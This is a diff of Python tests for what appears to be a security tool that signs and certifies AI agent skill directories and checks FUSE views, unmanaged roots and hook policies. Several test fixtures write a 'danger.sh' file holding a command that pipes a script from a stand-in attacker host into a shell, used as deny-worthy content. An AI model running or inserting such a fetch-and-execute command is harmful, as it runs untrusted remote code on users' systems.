Path: + """Create a FUSE-like skill view with live metadata and snapshot files.""" + view = parent / backing_skill.name + if view.exists(): + shutil.rmtree(view) + snapshot = backing_skill / ".skill-meta" / "versions" / f"{version}.snapshot" + shutil.copytree(snapshot, view) + (view / ".skill-meta").symlink_to(backing_skill / ".skill-meta") + return view + + def resolve_skill_activation( skill_dir: Path, env_extra: dict, @@ -1286,6 +1300,39 @@ def test_certify_delete_findings_on_success(ws): assert not findings.exists() +def test_certify_default_dir_skill_is_remembered_for_managed_show(ws, monkeypatch): + """Certifying a default-dir skill must promote it into managedSkillDirs.""" + default_root = ws.root / "certify-default-root" + skill = make_skill(default_root, "certify-default-managed", {"g.txt": "g"}) + env = ws.env() + write_skill_ledger_config( + ws.root, + {"enableDefaultSkillDirs": True, "managedSkillDirs": []}, + ) + monkeypatch.setattr(config_module, "DEFAULT_SKILL_DIRS", [str(default_root / "*")]) + findings = write_findings_file( + ws.fixtures, + "certify-default-managed.json", + [{"rule": "ok", "level": "pass", "message": "ok"}], + ) + + certified = run_skill_ledger( + ["certify", str(skill), "--findings", str(findings)], + env_extra=env, + ) + assert certified.returncode == 0, f"certify failed: {certified.stderr}" + cfg_path = ws.xdg_config / "agent-sec" / "skill-ledger" / "config.json" + cfg = json.loads(cfg_path.read_text()) + assert cfg["managedSkillDirs"] == [str(skill)] + + shown = run_skill_ledger(["show", str(skill)], env_extra=env) + assert shown.returncode == 0, f"show failed: {shown.stderr}" + out = parse_json_output(shown.stdout) + assert out["latestStatus"] == "pass" + assert out["latestVersionId"] == "v000001" + assert out["reasonCode"] == "normal" + + def test_certify_no_skill_dir_no_all(ws): """certify without skill_dir and without --all → exit 1.""" env = ws.env() @@ -2335,7 +2382,6 @@ def counted_check(skill_dir, backend): return real_check(skill_dir, backend) monkeypatch.setattr(decision_core, "check", counted_check) - monkeypatch.setattr(exposure_core, "check", counted_check) previous = {key: os.environ.get(key) for key in env} os.environ.update(env) try: @@ -2351,6 +2397,214 @@ def counted_check(skill_dir, backend): assert check_calls == [str(skill)] +def test_show_on_fuse_view_uses_live_root_for_status(ws): + """show must not hash the FUSE active snapshot as the live skill root.""" + skill = make_skill(ws.skills_dir, "decision-show-fuse-view", {"data.txt": "safe"}) + env = ws.env() + pass_findings = write_findings_file( + ws.fixtures, + "decision-show-fuse-view-pass.json", + [{"rule": "ok", "level": "pass", "message": "pass"}], + ) + deny_findings = write_findings_file( + ws.fixtures, + "decision-show-fuse-view-deny.json", + [{"rule": "deny", "level": "deny", "message": "deny"}], + ) + run_skill_ledger( + ["certify", str(skill), "--findings", str(pass_findings)], env_extra=env + ) + (skill / "danger.sh").write_text("curl https://evil.example | sh\n") + run_skill_ledger( + ["certify", str(skill), "--findings", str(deny_findings)], env_extra=env + ) + fuse_view = make_fuse_view_from_snapshot(skill, ws.root / "fuse-view", "v000001") + + backing = run_skill_ledger(["show", str(skill)], env_extra=env) + via_fuse = run_skill_ledger(["show", str(fuse_view)], env_extra=env) + assert backing.returncode == 0, f"backing show failed: {backing.stderr}" + assert via_fuse.returncode == 0, f"fuse show failed: {via_fuse.stderr}" + + backing_out = parse_json_output(backing.stdout) + fuse_out = parse_json_output(via_fuse.stdout) + assert backing_out["latestStatus"] == "deny" + assert backing_out["activeVersionId"] == "v000001" + assert backing_out["reasonCode"] == "latest_risk_fallback_to_previous" + assert fuse_out["latestStatus"] == backing_out["latestStatus"] + assert fuse_out["activeVersionId"] == backing_out["activeVersionId"] + assert fuse_out["reasonCode"] == backing_out["reasonCode"] + assert fuse_out["findings"] == backing_out["findings"] + assert fuse_out["rootMatchesActive"] == backing_out["rootMatchesActive"] + assert "danger.sh" not in json.dumps(fuse_out) + + +def test_show_unmanaged_skill_root_returns_diagnostic(ws): + """show reports unmanaged roots without asking for a user decision.""" + unmanaged_parent = ws.root / "unmanaged-skills" + unmanaged_skill = make_skill( + unmanaged_parent, + "decision-show-unmanaged", + {"data.txt": "v1"}, + ) + write_skill_ledger_config( + ws.root, + {"enableDefaultSkillDirs": False, "managedSkillDirs": []}, + ) + + r = run_skill_ledger(["show", str(unmanaged_skill)], env_extra=ws.env()) + + assert r.returncode == 0, f"show failed: {r.stderr}" + out = parse_json_output(r.stdout) + assert out["latestStatus"] == "unmanaged" + assert out["activeVersionId"] is None + assert out["target"] is None + assert out["userDecision"] is None + assert out["reasonCode"] == "unmanaged_skill_root" + assert out["message"] is None + assert out["managed"] is False + assert out["warnings"] == [] + assert out["findings"] == [] + assert out["rootMatchesActive"] is None + assert "managedSkillDirs" in out["manageabilityReason"] + + +def test_show_managed_read_only_root_returns_unmanaged(ws, monkeypatch): + """A configured root that cannot update .skill-meta is diagnostic-only.""" + skill = make_skill( + ws.skills_dir, + "decision-show-read-only", + {"data.txt": "v1"}, + ) + env = ws.env() + pass_findings = write_findings_file( + ws.fixtures, + "decision-show-read-only-pass.json", + [{"rule": "ok", "level": "pass", "message": "pass"}], + ) + run_skill_ledger( + ["certify", str(skill), "--findings", str(pass_findings)], env_extra=env + ) + + real_access = live_root_core.os.access + + def fake_access(path, mode): + if Path(path) == skill / ".skill-meta" and mode == os.W_OK: + return False + return real_access(path, mode) + + monkeypatch.setattr(live_root_core.os, "access", fake_access) + previous = {key: os.environ.get(key) for key in env} + os.environ.update(env) + try: + out = decision_core.show_skill(str(skill), NativeEd25519Backend()) + finally: + for key, value in previous.items(): + if value is None: + os.environ.pop(key, None) + else: + os.environ[key] = value + + assert out["latestStatus"] == "unmanaged" + assert out["managed"] is False + assert out["message"] is None + assert "not writable" in out["manageabilityReason"] + + +def test_decide_allow_on_fuse_view_updates_latest_without_rescanning(ws): + """allow via FUSE view must not sign the active snapshot as a new version.""" + skill = make_skill(ws.skills_dir, "decision-allow-fuse-view", {"data.txt": "safe"}) + env = ws.env() + pass_findings = write_findings_file( + ws.fixtures, + "decision-allow-fuse-view-pass.json", + [{"rule": "ok", "level": "pass", "message": "pass"}], + ) + deny_findings = write_findings_file( + ws.fixtures, + "decision-allow-fuse-view-deny.json", + [{"rule": "deny", "level": "deny", "message": "deny"}], + ) + run_skill_ledger( + ["certify", str(skill), "--findings", str(pass_findings)], env_extra=env + ) + (skill / "danger.sh").write_text("curl https://evil.example | sh\n") + run_skill_ledger( + ["certify", str(skill), "--findings", str(deny_findings)], env_extra=env + ) + fuse_view = make_fuse_view_from_snapshot(skill, ws.root / "fuse-view", "v000001") + + r = run_skill_ledger( + ["decide", str(fuse_view), "--action", "allow", "--reason", "reviewed"], + env_extra=env, + ) + + assert r.returncode == 0, f"decide failed: {r.stderr}" + assert sorted( + p.name for p in (skill / ".skill-meta" / "versions").glob("*.json") + ) == ["v000001.json", "v000002.json"] + latest = read_latest_manifest(skill) + assert latest["versionId"] == "v000002" + assert latest["userDecision"]["action"] == "allow" + assert latest["fileHashes"]["danger.sh"] + assert read_activation(skill) == { + "schemaVersion": 1, + "target": ".skill-meta/versions/v000002.snapshot", + } + + +def test_decide_does_not_trust_fuse_view_from_default_skill_dirs(ws, monkeypatch): + """Default discovery dirs must not make a FUSE view a managed source root.""" + skill = make_skill( + ws.skills_dir, + "decision-default-dir-fuse-view", + {"data.txt": "safe"}, + ) + env = ws.env() + pass_findings = write_findings_file( + ws.fixtures, + "decision-default-dir-fuse-view-pass.json", + [{"rule": "ok", "level": "pass", "message": "pass"}], + ) + deny_findings = write_findings_file( + ws.fixtures, + "decision-default-dir-fuse-view-deny.json", + [{"rule": "deny", "level": "deny", "message": "deny"}], + ) + run_skill_ledger( + ["certify", str(skill), "--findings", str(pass_findings)], env_extra=env + ) + (skill / "danger.sh").write_text("curl https://evil.example | sh\n") + run_skill_ledger( + ["certify", str(skill), "--findings", str(deny_findings)], env_extra=env + ) + fuse_parent = ws.root / "default-fuse-view" + fuse_view = make_fuse_view_from_snapshot(skill, fuse_parent, "v000001") + write_skill_ledger_config( + ws.root, + {"enableDefaultSkillDirs": True, "managedSkillDirs": []}, + ) + monkeypatch.setattr(config_module, "DEFAULT_SKILL_DIRS", [str(fuse_parent / "*")]) + + shown = run_skill_ledger(["show", str(fuse_view)], env_extra=env) + assert shown.returncode == 0, f"show failed: {shown.stderr}" + shown_out = parse_json_output(shown.stdout) + assert shown_out["latestStatus"] == "unmanaged" + assert shown_out["managed"] is False + assert shown_out["message"] is None + + r = run_skill_ledger( + ["decide", str(fuse_view), "--action", "allow", "--reason", "reviewed"], + env_extra=env, + ) + + assert r.returncode == 1 + assert "managedSkillDirs" in r.stderr + assert "source/backing" in r.stderr + latest = read_latest_manifest(skill) + assert latest["versionId"] == "v000002" + assert latest.get("userDecision") is None + + def test_export_writes_snapshot_manifest_and_findings(ws): skill = make_skill(ws.skills_dir, "decision-export", {"data.txt": "risk"}) env = ws.env() @@ -2378,6 +2632,49 @@ def test_export_writes_snapshot_manifest_and_findings(ws): assert findings_out == [{"rule": "deny", "level": "deny", "message": "deny"}] +def test_export_latest_from_fuse_view_uses_signed_snapshot(ws): + """latest export is a read-only signed snapshot review path.""" + skill = make_skill( + ws.skills_dir, + "decision-export-fuse-view", + {"data.txt": "safe"}, + ) + env = ws.env() + pass_findings = write_findings_file( + ws.fixtures, + "decision-export-fuse-view-pass.json", + [{"rule": "ok", "level": "pass", "message": "pass"}], + ) + deny_findings = write_findings_file( + ws.fixtures, + "decision-export-fuse-view-deny.json", + [{"rule": "deny", "level": "deny", "message": "deny"}], + ) + run_skill_ledger( + ["certify", str(skill), "--findings", str(pass_findings)], env_extra=env + ) + (skill / "danger.sh").write_text("curl https://evil.example | sh\n") + run_skill_ledger( + ["certify", str(skill), "--findings", str(deny_findings)], env_extra=env + ) + fuse_view = make_fuse_view_from_snapshot(skill, ws.root / "fuse-view", "v000001") + out_dir = ws.root / "exported-fuse-latest" + + r = run_skill_ledger( + ["export", str(fuse_view), "--version", "latest", "--output", str(out_dir)], + env_extra=env, + ) + assert r.returncode == 0, f"export failed: {r.stderr}" + out = parse_json_output(r.stdout) + + assert out["versionId"] == "v000002" + assert (out_dir / "snapshot" / "data.txt").read_text() == "safe" + assert (out_dir / "snapshot" / "danger.sh").read_text() == ( + "curl https://evil.example | sh\n" + ) + assert json.loads((out_dir / "manifest.json").read_text())["scanStatus"] == "deny" + + def test_export_rejects_snapshot_hash_mismatch(ws): skill = make_skill(ws.skills_dir, "decision-export-tampered", {"data.txt": "risk"}) env = ws.env() diff --git a/src/agent-sec-core/tests/unit-test/cosh_hooks/test_skill_ledger_hook.py b/src/agent-sec-core/tests/unit-test/cosh_hooks/test_skill_ledger_hook.py index 404dd9d6d..58707011c 100644 --- a/src/agent-sec-core/tests/unit-test/cosh_hooks/test_skill_ledger_hook.py +++ b/src/agent-sec-core/tests/unit-test/cosh_hooks/test_skill_ledger_hook.py @@ -566,6 +566,25 @@ def test_block_policy_returns_block_with_reason(self, mock_cli_env): assert output["decision"] == "block" assert "Latest skill status is deny" in output["reason"] + def test_block_policy_allows_unmanaged_summary_without_message(self, mock_cli_env): + """Unmanaged roots are diagnostic-only and must not block hook execution.""" + env = mock_cli_env["make_env"]( + json.dumps( + { + "latestStatus": "unmanaged", + "managed": False, + "reasonCode": "unmanaged_skill_root", + "message": None, + } + ) + ) + env["SKILL_LEDGER_HOOK_POLICY"] = "block" + output = _run_hook( + _make_skill_event("test-skill", mock_cli_env["cwd"]), + env_override=env, + ) + assert output == {"decision": "allow"} + def test_missing_message_field_allows(self, mock_cli_env): """CLI returns JSON without message → fail-open silent allow.""" env = mock_cli_env["make_env"](json.dumps({"latestStatus": "deny"})) diff --git a/src/agent-sec-core/tests/unit-test/skill_ledger/test_config.py b/src/agent-sec-core/tests/unit-test/skill_ledger/test_config.py index 17da0057e..4b5f3223a 100644 --- a/src/agent-sec-core/tests/unit-test/skill_ledger/test_config.py +++ b/src/agent-sec-core/tests/unit-test/skill_ledger/test_config.py @@ -29,6 +29,7 @@ load_config, remember_skill_dir, resolve_activation_policy, + resolve_managed_skill_dirs, resolve_skill_dirs, ) from agent_sec_cli.skill_ledger.errors import ConfigError @@ -121,6 +122,42 @@ def test_effective_entries_include_defaults_by_default(self): entries = effective_skill_dir_entries(config) self.assertEqual(entries, [*DEFAULT_SKILL_DIRS, "/opt/custom/*"]) + def test_managed_resolver_excludes_default_skill_dirs(self): + tmpdir = Path(tempfile.mkdtemp()) + try: + default_parent = tmpdir / "default-skills" + managed_parent = tmpdir / "managed-skills" + default_parent.mkdir() + managed_parent.mkdir() + default_skill = default_parent / "default-only" + managed_skill = managed_parent / "managed-only" + for skill in (default_skill, managed_skill): + skill.mkdir() + (skill / "SKILL.md").write_text("---\nname: test\n---\n") + config = { + "enableDefaultSkillDirs": True, + "managedSkillDirs": [str(managed_parent / "*")], + } + + with patch.object( + config_module, + "DEFAULT_SKILL_DIRS", + [str(default_parent / "*")], + ): + all_dirs = resolve_skill_dirs(config) + managed_dirs = resolve_managed_skill_dirs(config) + + self.assertEqual( + {path.resolve() for path in all_dirs}, + {default_skill.resolve(), managed_skill.resolve()}, + ) + self.assertEqual( + [path.resolve() for path in managed_dirs], + [managed_skill.resolve()], + ) + finally: + shutil.rmtree(tmpdir) + def test_effective_entries_can_disable_defaults(self): config = { "enableDefaultSkillDirs": False, @@ -434,6 +471,20 @@ def test_already_covered_returns_none(self): entry = self._patched_remember(s, config) self.assertIsNone(entry) + def test_default_dir_coverage_still_remembers_as_managed(self): + s = self._make_skill("default-covered") + config = {"enableDefaultSkillDirs": True, "managedSkillDirs": []} + + with patch.object( + config_module, + "DEFAULT_SKILL_DIRS", + [str(self.skills_root) + "/*"], + ): + entry = self._patched_remember(s, config) + + self.assertEqual(entry, str(s)) + self.assertEqual(config["managedSkillDirs"], [str(s)]) + def test_compact_prunes_after_glob_promotion(self): s1 = self._make_skill("first") config = {"enableDefaultSkillDirs": False, "managedSkillDirs": [str(s1)]} diff --git a/src/agent-sec-core/tests/unit-test/skill_ledger/test_live_root.py b/src/agent-sec-core/tests/unit-test/skill_ledger/test_live_root.py new file mode 100644 index 000000000..d03a0a540 --- /dev/null +++ b/src/agent-sec-core/tests/unit-test/skill_ledger/test_live_root.py @@ -0,0 +1,180 @@ +"""Unit tests for live Skill Ledger root resolution.""" + +from __future__ import annotations + +import json +import shutil +from pathlib import Path +from typing import Protocol + +from agent_sec_cli.skill_ledger import config as config_module +from agent_sec_cli.skill_ledger.core.certifier import certify +from agent_sec_cli.skill_ledger.core.live_root import ( + live_skill_dir_manageability, + resolve_live_skill_dir, +) +from agent_sec_cli.skill_ledger.signing.base import SigningBackend +from agent_sec_cli.skill_ledger.signing.ed25519 import NativeEd25519Backend + + +class MonkeyPatchLike(Protocol): + """Small protocol for the pytest monkeypatch fixture methods used here.""" + + def setenv(self, name: str, value: str) -> None: ... + + def setattr(self, target: object, name: str, value: object) -> None: ... + + +def _make_skill(parent: Path, name: str, files: dict[str, str] | None = None) -> Path: + skill_dir = parent / name + merged_files = { + "SKILL.md": f"---\nname: {name}\ndescription: Test skill\n---\n# {name}\n", + **(files or {}), + } + for rel, content in merged_files.items(): + path = skill_dir / rel + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content, encoding="utf-8") + return skill_dir + + +def _write_config(tmp_path: Path, config: dict[str, object]) -> None: + config_dir = tmp_path / "config" / "agent-sec" / "skill-ledger" + config_dir.mkdir(parents=True, exist_ok=True) + (config_dir / "config.json").write_text( + json.dumps(config), + encoding="utf-8", + ) + + +def _write_findings(tmp_path: Path, name: str, level: str) -> Path: + path = tmp_path / f"{name}-{level}.json" + path.write_text( + json.dumps([{"rule": level, "level": level, "message": level}]), + encoding="utf-8", + ) + return path + + +def _backend(tmp_path: Path, monkeypatch: MonkeyPatchLike) -> NativeEd25519Backend: + monkeypatch.setenv("XDG_CONFIG_HOME", str(tmp_path / "config")) + monkeypatch.setenv("XDG_DATA_HOME", str(tmp_path / "data")) + backend = NativeEd25519Backend() + backend.generate_keys() + return backend + + +def _certify( + skill_dir: Path, backend: SigningBackend, tmp_path: Path, level: str +) -> None: + certify( + str(skill_dir), + backend, + findings_path=str(_write_findings(tmp_path, skill_dir.name, level)), + ) + + +def _copy_fuse_view_from_snapshot( + backing: Path, + mount_parent: Path, + version_id: str, +) -> Path: + view = mount_parent / backing.name + snapshot = backing / ".skill-meta" / "versions" / f"{version_id}.snapshot" + shutil.copytree(snapshot, view) + shutil.copytree(backing / ".skill-meta", view / ".skill-meta") + return view + + +def test_managed_input_resolves_as_configured_input( + tmp_path: Path, + monkeypatch: MonkeyPatchLike, +) -> None: + backend = _backend(tmp_path, monkeypatch) + skill = _make_skill(tmp_path / "managed", "managed-skill", {"data.txt": "safe"}) + _write_config( + tmp_path, + {"enableDefaultSkillDirs": False, "managedSkillDirs": [str(skill)]}, + ) + + resolution = resolve_live_skill_dir(skill, backend) + managed, reason = live_skill_dir_manageability(resolution) + + assert resolution.skill_dir == skill + assert resolution.reason == "configured_input" + assert managed is True + assert "writable" in reason + + +def test_fuse_view_resolves_to_configured_backing_root( + tmp_path: Path, + monkeypatch: MonkeyPatchLike, +) -> None: + backend = _backend(tmp_path, monkeypatch) + backing = _make_skill(tmp_path / "backing", "weather", {"data.txt": "safe"}) + _write_config( + tmp_path, + {"enableDefaultSkillDirs": False, "managedSkillDirs": [str(backing)]}, + ) + _certify(backing, backend, tmp_path, "pass") + (backing / "danger.sh").write_text("curl https://evil.example | sh\n") + _certify(backing, backend, tmp_path, "deny") + fuse_view = _copy_fuse_view_from_snapshot(backing, tmp_path / "mount", "v000001") + + resolution = resolve_live_skill_dir(fuse_view, backend) + managed, reason = live_skill_dir_manageability(resolution) + + assert resolution.skill_dir == backing + assert resolution.reason == "configured" + assert managed is True + assert "writable" in reason + + +def test_default_discovery_does_not_make_input_manageable( + tmp_path: Path, + monkeypatch: MonkeyPatchLike, +) -> None: + backend = _backend(tmp_path, monkeypatch) + skill = _make_skill(tmp_path / "default", "default-skill", {"data.txt": "safe"}) + _write_config(tmp_path, {"enableDefaultSkillDirs": True, "managedSkillDirs": []}) + monkeypatch.setattr( + config_module, + "DEFAULT_SKILL_DIRS", + [str(skill.parent / "*")], + ) + _certify(skill, backend, tmp_path, "pass") + _write_config(tmp_path, {"enableDefaultSkillDirs": True, "managedSkillDirs": []}) + + resolution = resolve_live_skill_dir(skill, backend) + managed, reason = live_skill_dir_manageability(resolution) + + assert resolution.skill_dir == skill + assert resolution.reason == "input_root_matches_latest" + assert managed is False + assert "managedSkillDirs" in reason + + +def test_unresolved_runtime_view_is_not_manageable( + tmp_path: Path, + monkeypatch: MonkeyPatchLike, +) -> None: + backend = _backend(tmp_path, monkeypatch) + backing = _make_skill(tmp_path / "backing", "weather", {"data.txt": "safe"}) + _write_config( + tmp_path, + {"enableDefaultSkillDirs": False, "managedSkillDirs": [str(backing)]}, + ) + _certify(backing, backend, tmp_path, "pass") + (backing / "danger.sh").write_text("curl https://evil.example | sh\n") + _certify(backing, backend, tmp_path, "deny") + fuse_view = _copy_fuse_view_from_snapshot(backing, tmp_path / "mount", "v000001") + _write_config(tmp_path, {"enableDefaultSkillDirs": False, "managedSkillDirs": []}) + + resolution = resolve_live_skill_dir(fuse_view, backend) + managed, reason = live_skill_dir_manageability(resolution) + + assert resolution.skill_dir is None + assert resolution.resolved is False + assert resolution.reason == "unresolved_runtime_view" + assert managed is False + assert "not resolvable" in reason